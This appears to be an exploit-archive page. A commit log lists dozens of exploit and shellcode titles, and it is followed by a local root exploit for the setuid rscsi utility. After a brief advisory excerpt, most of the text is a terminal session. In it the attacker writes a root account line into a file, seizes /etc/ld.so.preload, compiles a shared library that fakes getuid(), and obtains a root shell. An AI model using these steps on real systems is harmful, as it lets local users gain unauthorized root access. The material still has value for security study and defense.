880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.4 KiB
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33 lines
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1.4 KiB
Text
source: https://www.securityfocus.com/bid/8328/info
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It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files.
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It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.
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$ echo C`echo -e
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"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` |
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/opt/schily/sbin/rscsi /tmp/lala
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[kf@vegeta kf]$ ls -al /etc/ld.so.preload
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ls: /etc/ld.so.preload: No such file or directory
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[kf@vegeta kf]$ cat > oops.c
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int getuid(void)
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{
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return(0);
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}
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[kf@vegeta kf]$ gcc -c -o oops.o oops.c
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[kf@vegeta kf]$ ld -shared -o oops.so oops.o
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[kf@vegeta kf]$ ls -al oops.so
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-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
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[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
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E0
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Garbage command
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0
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-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
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[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
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[kf@vegeta kf]$ su
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[root@vegeta kf]# rm /etc/ld.so.preload
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rm: remove regular file `/etc/ld.so.preload'? y
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[root@vegeta kf]# id
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uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) |